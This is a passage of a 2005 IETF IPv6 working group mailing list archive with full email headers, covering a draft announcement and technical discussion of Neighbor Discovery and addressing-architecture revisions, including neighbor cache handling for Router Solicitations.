7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --NextPart-- From ipv6-bounces@ietf.org Wed Feb 23 18:11:25 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09317 for ; Wed, 23 Feb 2005 18:11:25 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4621-0007yE-7Z for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 18:35:01 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3kjM-0005Nf-FJ; Tue, 22 Feb 2005 19:50:20 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3hAX-0000qC-9o; Tue, 22 Feb 2005 16:02:09 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA20640; Tue, 22 Feb 2005 16:02:06 -0500 (EST) Message-Id: <200502222102.QAA20640@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Date: Tue, 22 Feb 2005 16:02:06 -0500 Cc: ipv6@ietf.org Subject: I-D ACTION:draft-ietf-ipv6-2461bis-02.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.4 (/) X-Scan-Signature: cf3becbbd6d1a45acbe2ffd4ab88bdc2 --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Version 6 Working Group Working Group of the IETF. Title : Neighbor Discovery for IP version 6 (IPv6) Author(s) : T. Narten, et al. Filename : draft-ietf-ipv6-2461bis-02.txt Pages : 86 Date : 2005-2-22 This document specifies the Neighbor Discovery protocol for IP Version 6. IPv6 nodes on the same link use Neighbor Discovery to discover each other's presence, to determine each other's link-layer addresses, to find routers and to maintain reachability information about the paths to active neighbors. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipv6-2461bis-02.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipv6-2461bis-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipv6-2461bis-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-2-22160418.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipv6-2461bis-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipv6-2461bis-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-2-22160418.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --NextPart-- From ipv6-bounces@ietf.org Wed Feb 23 20:28:02 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA13078 for ; Wed, 23 Feb 2005 20:28:02 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D48AD-00018G-Df for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 20:51:38 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D46a9-0006bU-RO; Wed, 23 Feb 2005 19:10:17 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D46a7-0006a7-Ca for ipv6@megatron.ietf.org; Wed, 23 Feb 2005 19:10:15 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA20726 for ; Wed, 23 Feb 2005 19:10:11 -0500 (EST) Received: from shuttle.wide.toshiba.co.jp ([202.249.10.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D46ws-0002g9-Ex for ipv6@ietf.org; Wed, 23 Feb 2005 19:33:48 -0500 Received: from ocean.jinmei.org (unknown [2001:4f8:3:bb:200:39ff:fed7:e2e4]) by shuttle.wide.toshiba.co.jp (Postfix) with ESMTP id A2F1E15218; Thu, 24 Feb 2005 09:09:58 +0900 (JST) Date: Thu, 24 Feb 2005 09:10:29 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: "Soliman, Hesham" In-Reply-To: References: User-Agent: Wanderlust/2.10.1 (Watching The Wheels) Emacs/21.3 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen") Content-Type: text/plain; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Scan-Signature: bb8f917bb6b8da28fc948aeffb74aa17 Cc: ipv6@ietf.org Subject: Re: comments on draft-ietf-ipv6-2461bis-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: e1e48a527f609d1be2bc8d8a70eb76cb >>>>> On Wed, 23 Feb 2005 17:45:48 -0500, >>>>> "Soliman, Hesham" said: >> Hmm...I agree with the "realistic" view itself, but unless >> we prohibit >> the use of IPsec, I believe it is overkilling to remove requirements >> (using RFC2119 keywords) when it is used. >> >> Is it so harmful to revise the paragraph to, e.g., the following? >> >> In some cases, it may be acceptable to use statically configured >> security associations with either [IPv6-AH] or [IPv6-ESP] >> to secure >> Neighbor Discovery messages. However, it is important to note that >> statically configured security associations are not scalable >> (especially when considering multicast links) and are therefore >> limited to small networks with known hosts. In any case, when >> [IPv6-AH] is used, received Authentication Headers in Neighbor >> Discovery packets MUST be verified for correctness and >> packets with >> incorrect authentication MUST be ignored. > => ok, fine with me, but I guess there is no reason to exclude [IPv6-ESP] from > the second last sentence, and as a consequence modify the last sentence accordingly. > If that's ok I'll update the last two sentences. The reason why I didn't use [IPv6-ESP] was because the succeeding line only said "Authentication Headers", which is specific to AH. I'd basically leave wording details to the document editor, but in this particular case I believe it makes more sense to use "AH" only. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 23 21:47:31 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA12244 for ; Wed, 23 Feb 2005 21:47:31 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D49P9-0001TG-Cr for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 22:11:08 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3klB-0005sQ-BD; Tue, 22 Feb 2005 19:52:13 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3icZ-0008AH-OC for ipv6@megatron.ietf.org; Tue, 22 Feb 2005 17:35:11 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02014 for ; Tue, 22 Feb 2005 17:35:03 -0500 (EST) Received: from darkstar.iprg.nokia.com ([205.226.5.69]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3iz3-0005Au-Ma for ipv6@ietf.org; Tue, 22 Feb 2005 17:58:26 -0500 Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id j1MN4UU11217 for ; Tue, 22 Feb 2005 15:04:30 -0800 X-mProtect: <200502222304> Nokia Silicon Valley Messaging Protection Received: from danira-pool05070.americas.nokia.com (10.241.50.70, claiming to be "l5131412.nokia.com") by darkstar.iprg.nokia.com smtpdP0yi6a; Tue, 22 Feb 2005 15:04:24 PST Message-Id: <6.2.1.2.2.20050222142936.029d21e8@mailhost.iprg.nokia.com> X-Mailer: QUALCOMM Windows Eudora Version 6.2.1.2 Date: Tue, 22 Feb 2005 14:34:10 -0800 To: ipv6@ietf.org From: Bob Hinden In-Reply-To: <200502182025.PAA08807@ietf.org> References: <200502182025.PAA08807@ietf.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: 3e15cc4fdc61d7bce84032741d11c8e5 Subject: Re: I-D ACTION:draft-ietf-ipv6-addr-arch-v4-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 02ec665d00de228c50c93ed6b5e4fc1a A diff from the previous (-00) draft can be found at: http://people.nokia.net/~hinden/draft-ietf-ipv6-addr-arch-v4-01.html and a diff between the current (-01) draft and RFC3515x can be found at: http://people.nokia.net/~hinden/diff-rfc-draft.html The latter was made be removing most of the boiler plate from each document before running the diff. The summary changes in this draft are (from APPENDIX B): The following changes were made from RFC-3513 "IP Version 6 Addressing Architecture": o Deprecated the Site-Local prefix. Changes included - Removed Site-Local from special list of prefixes in Section 2.4. - Split section titled "Local-use IPv6 Unicast Addresses" into two sections, "Link-Local IPv6 Unicast Addresses" and "Site- Local IPv6 Unicast Addresses". - Added text to new section describing Site-Local deprecation. o Changes to resolve issues raised in IAB response to Robert Elz appeal. Changes include: - Added clarification to Section 2.5 that nodes should make no assumptions about the structure of an IPv6 address. - Changed the text in Section 2.5.1 and Appendix A to refer to the modified EUI-64 format interface identifiers with the "u" bit set to one (1) as universal. - Added clarification to Section 2.5.1 that IPv6 nodes are not required to validate that interface identifiers created in modified EUI-64 format with the "u" bit set to one are unique. o Changed the reference indicated in Section 2.5.4 "Global Unicast Addresses" to RFC3587. o Removed mention of NSAP addresses in examples. o Clarified that the "x" in the textual representation can be one to four digits. o Editorial changes. The editorial changes include updating the example addresses to not use site-local in one example and to use the documentation prefix where appropriate. Please review. I belive I got all of the important items from the mailing list discussions. Let me know if I missed something. Thanks, Bob -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 23 22:06:24 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA19135 for ; Wed, 23 Feb 2005 22:06:24 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D49hR-0003SV-Ht for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 22:30:02 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3rGH-0005TG-Lx; Wed, 23 Feb 2005 02:48:45 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3rGC-0005SM-H8 for ipv6@megatron.ietf.org; Wed, 23 Feb 2005 02:48:40 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA03730 for ; Wed, 23 Feb 2005 02:48:38 -0500 (EST) Received: from iramx2.ira.uni-karlsruhe.de ([141.3.10.81] ident=[U2FsdGVkX18y32qxVXtb0zRa6WjMPGsDlbdKCDcCOLk=]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3rcq-0007Am-K7 for ipv6@ietf.org; Wed, 23 Feb 2005 03:12:05 -0500 Received: from irams1.ira.uni-karlsruhe.de ([141.3.10.5] helo=irams1.ira.uka.de) by iramx2.ira.uni-karlsruhe.de with esmtps (Exim 4.43 #1) id 1D3rG3-0006Te-1m; Wed, 23 Feb 2005 08:48:34 +0100 Received: from i72archimedes.tm.uni-karlsruhe.de ([141.3.71.83]) by irams1.ira.uka.de with esmtp (Exim 3.30 #7 ) id 1D3rG2-0005FW-00; Wed, 23 Feb 2005 08:48:30 +0100 Message-ID: <421C354D.60501@tm.uka.de> Date: Wed, 23 Feb 2005 08:48:29 +0100 From: Christian Vogt User-Agent: Mozilla Thunderbird 1.0 (X11/20041206) X-Accept-Language: de-DE, de, en-us, en MIME-Version: 1.0 To: Tatuya Jinmei References: <421A3145.3020709@tm.uka.de> <421AC282.3010402@eng.monash.edu.au> <421BBFC6.8020806@eng.monash.edu.au> In-Reply-To: X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -13.7 (-------------) X-Spam-Status: No X-Spam-Score: 0.0 (/) X-Scan-Signature: d185fa790257f526fedfd5d01ed9c976 Content-Transfer-Encoding: 7bit Cc: "Soliman, Hesham" , Mark Doll , ipv6@ietf.org, Roland Bless , greg.daley@eng.monash.edu.au Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 73734d43604d52d23b3eba644a169745 Content-Transfer-Encoding: 7bit Hi Jinmei, Greg, Hesham. JINMEI Tatuya wrote: > Greg Daley said: > >> It has been a bit confusing with crossing e-mails and timezone >> differences. > > Sorry, I actually noticed the possible confusion when I was writing > the messages, but I simply let it go.. Actually, the guy who has been messung things up the most is me. There was no bad intention. I'm sorry... :) >> I think that there's agreement for clarification. > > Yes, I think so. Same here. And not only that we agree on the need for clarification, the suggested text fragments are also very similar now. >> I think that people agree what needs to be clarified. > > Ditto. Yes. >> I'm not sure if it's decided where to put the clarification (but I >> don't care myself, so long as everyone else agrees) > > > Actually, I'm not sure, either. I think that Jinmei's suggestion to have a general description about unsolicited RS's and NS's without SLLAO is needed. This would be a good place to explicitly mention in which cases NC state is NOT to be created. In contrast, in sections 6.2.6 and 7.2.3/7.2.4, it's probably wise to say only what a node/router does rather than what it refrains from doing. Given the separation in RD, ND, and Redirect (which Greg previously mentioned), would you agree that we also amend sections 6.2.6 and 7.2.3/7.2.4? I'd be in favor of doing this. Both parts of the document specify NC-state creation and the decision of whether a multicast or unicast response ought to be used. And both of these subjects are relevant. >> I'm not sure if there is a text which is agreed. (I've heard more >> harmonious responses in later text, but there were two or three >> fairly related pieces of text going round). > > Again, I'm not sure, either. But I agreed on the Christian's second > proposal **if we agree on the need for revising Section 6.2.6**. See above. Yes, I do agree. > I don't have a strong preference on how to fix the issue, but if I > were to ask, I'd > > - at least add a general note about what the node should do when it > receives an unsolicited ND message (NS, RS, RA, Redirect) without > LLAO and does not have a corresponding neighbor cache. I don't care > about the place, but I'd probably use Section 7.3.3, and > > - updated APPENDIX C (state machine) accordingly, and > > - (optionally) describe a bit more details of each case (e.g., add > clarification 6.2.6 for the RS case) Agreed. What would have to be added to (or modified in) section 6.2.6 is not too far from what is needed for section 7.2.3/7.2.4. So, we might be able to reuse some text, making the modifications consistent. - Christian -- Christian Vogt, Institute of Telematics, University of Karlsruhe www.tm.uka.de/~chvogt/pubkey/ "No great genius has ever existed without some touch of madness." (Aristotle) -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 23 22:42:57 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA03303 for ; Wed, 23 Feb 2005 22:42:56 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4AGo-0007ZN-1m for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 23:06:34 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3klm-00062x-JE; Tue, 22 Feb 2005 19:52:50 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3Nex-0007D8-Pd for ipv6@megatron.ietf.org; Mon, 21 Feb 2005 19:12:15 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA02596 for ; Mon, 21 Feb 2005 19:12:07 -0500 (EST) Received: from alpha8.its.monash.edu.au ([130.194.1.8]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3O1E-000112-S0 for ipv6@ietf.org; Mon, 21 Feb 2005 19:35:18 -0500 Received: from localhost ([130.194.13.88]) by vaxh.its.monash.edu.au (PMDF V5.2-31 #39306) with ESMTP id <01LL3PWT6E8O8Y7BP4@vaxh.its.monash.edu.au> for ipv6@ietf.org; Tue, 22 Feb 2005 11:11:41 +1100 Received: from moe.its.monash.edu.au (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id 8D425AB546; Tue, 22 Feb 2005 11:11:41 +1100 (EST) Received: from [130.194.252.110] (knuth.eng.monash.edu.au [130.194.252.110]) by moe.its.monash.edu.au (Postfix) with ESMTP id 61C7E4FB0C; Tue, 22 Feb 2005 11:11:41 +1100 (EST) Date: Tue, 22 Feb 2005 11:11:40 +1100 From: Greg Daley In-reply-to: <421A3145.3020709@tm.uka.de> To: Christian Vogt Message-id: <421A78BC.4010008@eng.monash.edu.au> Organization: Monash University MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7BIT User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20040922 X-Accept-Language: en, en-us References: <421A3145.3020709@tm.uka.de> X-Spam-Score: 0.0 (/) X-Scan-Signature: 52f7a77164458f8c7b36b66787c853da Content-Transfer-Encoding: 7BIT Cc: "Soliman, Hesham" , Mark Doll , Roland Bless , ipv6@ietf.org Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: greg.daley@eng.monash.edu.au List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 92df29fa99cf13e554b84c8374345c17 Content-Transfer-Encoding: 7BIT Hi Christian, Christian Vogt wrote: > Hi Hesham, > > hope this is not too late. > > Not sure but the text may suggest to create NC state even if the RS did > not contain a SLLAO. In this case, it's actually not necessary to > create NC state, especially if the router chooses to respond with a > multicast RA. If you agree, you could change the text from this... > > > [...] If there is no existing Neighbor Cache entry > > for the solicitation's sender, the router creates one, installs the > > link- layer address and sets its reachability state to STALE as > > specified in Section 7.3.3. If there is no existing Neighbor Cache > > entry and no Source Link-Layer Address option was present in the > > solicitation, [...] > > ...to this... > > > [...] If there is no existing Neighbor Cache entry > > for the solicitation's sender and a Source Link-Layer Address option > > was present in the solicitation, the router creates a new Neighbor > > Cache entry, installs the link-layer address and sets its reachability > > state to STALE as specified in Section 7.3.3. If there is no existing > > Neighbor Cache entry and no Source Link-Layer Address option was > > present in the solicitation, the router does either one of the > > following: > > > > - It performs address resolution on the solicitation's sender, creates > > a new Neighbor Cache entry, installs the link-layer address, sets its > > reachability state to STALE as specified in Section 7.3.3, and > > responds with a unicast Router Advertisement directed to the > > solicitation's sender. I'm not sure if I get this. Why would the NCE be stale if there's been an NA response for the Router's NS? It should be REACHABLE, using existing techniques. You could precis this to: - It elects to perform unicast delivery, performs address resolution on Router Solicitation's sender, creating a new neighbour cache entry. It delivers a unicast Router Advertisement when neighbour discovery completes. > > - It responds with a multicast Router Advertisement. > > > > Whether or not a Source Link-Layer Address option is provided in the > > solicitation, [...] > > The rest is perfect, IMO. > > Oh, just a nit: s/link- layer/link-layer/. > > - Christian > Whether we need it, is another matter (to be discussed with Jinmei and others). Greg -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 23 22:55:30 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA08398 for ; Wed, 23 Feb 2005 22:55:30 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4ASv-0000Y0-30 for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 23:19:08 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3km2-00067s-5Y; Tue, 22 Feb 2005 19:53:06 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3OjL-0007Cj-4B for ipv6@megatron.ietf.org; Mon, 21 Feb 2005 20:20:51 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA09048 for ; Mon, 21 Feb 2005 20:20:44 -0500 (EST) Received: from shuttle.wide.toshiba.co.jp ([202.249.10.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3P5c-00031S-VG for ipv6@ietf.org; Mon, 21 Feb 2005 20:43:54 -0500 Received: from ocean.jinmei.org (unknown [2001:4f8:3:bb:200:39ff:fed7:e2e4]) by shuttle.wide.toshiba.co.jp (Postfix) with ESMTP id 3A6911521B; Tue, 22 Feb 2005 10:20:38 +0900 (JST) Date: Tue, 22 Feb 2005 10:21:09 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Christian Vogt In-Reply-To: <421A3145.3020709@tm.uka.de> References: <421A3145.3020709@tm.uka.de> User-Agent: Wanderlust/2.10.1 (Watching The Wheels) Emacs/21.3 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen") Content-Type: text/plain; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Scan-Signature: 244a2fd369eaf00ce6820a760a3de2e8 Cc: "Soliman, Hesham" , Mark Doll , Roland Bless , ipv6@ietf.org, greg.daley@eng.monash.edu.au Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 4b800b1eab964a31702fa68f1ff0e955 >>>>> On Mon, 21 Feb 2005 20:06:45 +0100, >>>>> Christian Vogt said: > ...to this... >> [...] If there is no existing Neighbor Cache entry >> for the solicitation's sender and a Source Link-Layer Address option >> was present in the solicitation, the router creates a new Neighbor >> Cache entry, installs the link-layer address and sets its reachability >> state to STALE as specified in Section 7.3.3. If there is no existing >> Neighbor Cache entry and no Source Link-Layer Address option was >> present in the solicitation, the router does either one of the >> following: >> >> - It performs address resolution on the solicitation's sender, creates >> a new Neighbor Cache entry, installs the link-layer address, sets its >> reachability state to STALE as specified in Section 7.3.3, and >> responds with a unicast Router Advertisement directed to the >> solicitation's sender. I personally think this is overspecification. As I said in a separate message, the essential problem (IMO) is that the spec is unclear on the case where - an unsolicited ND message does not contain source/target LLAO - the receiving node does not have a neighbor cache entry for the source/target (and this is a general issue, not specific to RS). Once we clarify this point, I believe we can simply leave the other details to implementors. In this specific case, for example, if the router that receives the RS decides to respond to it with a unicast RA (this is already explicitly allowed in the current spec), the outgoing RA will create a new neighbor cache entry, causing link-layer address resolution (again, per the current specification). There'd be no difference on the external behavior. Moreover, I even think specifying this level of details can be harmful for some implementations. In the case of BSD/KAME, it is a userland process (rtadvd) which would decide to respond to the RS with a unicast RA (although currently it only supports multicast RAs), while NS/NA exchanges can only happen inside the kernel. Thus, it is difficult for the implementation to follow the specified ordering: 1. it performs address resolution on the solicitation's sender 2. creates a new Neighbor Cache entry 3. installs the link-layer address 4. sets its reachability state to STALE (BTW: this is strange. after a successful address resolution, the state should be REACHABLE) 5. responds with a unicast Router Advertisement because the kernel, which performs 1 through 4, cannot tell the application's decision beforehand. Again, note that we can realize (almost) exactly the same external behavior without specifying this ordering. IMO, what we should do is to fix the real generic issue, and then there should be no ambiguity in further details. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 23 23:10:24 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA12917 for ; Wed, 23 Feb 2005 23:10:23 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4AhN-0001ud-Jy for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 23:34:02 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3kmb-0006Ns-Le; Tue, 22 Feb 2005 19:53:41 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3Scq-00082l-QM for ipv6@megatron.ietf.org; Tue, 22 Feb 2005 00:30:24 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA11375 for ; Tue, 22 Feb 2005 00:30:17 -0500 (EST) Received: from alpha6.its.monash.edu.au ([130.194.1.25]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3SzB-0004PY-HS for ipv6@ietf.org; Tue, 22 Feb 2005 00:53:30 -0500 Received: from localhost ([130.194.13.82]) by vaxc.its.monash.edu.au (PMDF V6.1 #39306) with ESMTP id <01LL411EM35W8Y83BG@vaxc.its.monash.edu.au> for ipv6@ietf.org; Tue, 22 Feb 2005 16:30:08 +1100 Received: from larry.its.monash.edu.au (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id 2FFC98004B; Tue, 22 Feb 2005 16:26:27 +1100 (EST) Received: from [130.194.252.110] (knuth.eng.monash.edu.au [130.194.252.110]) by larry.its.monash.edu.au (Postfix) with ESMTP id 0EEC83C006; Tue, 22 Feb 2005 16:26:27 +1100 (EST) Date: Tue, 22 Feb 2005 16:26:26 +1100 From: Greg Daley In-reply-to: To: 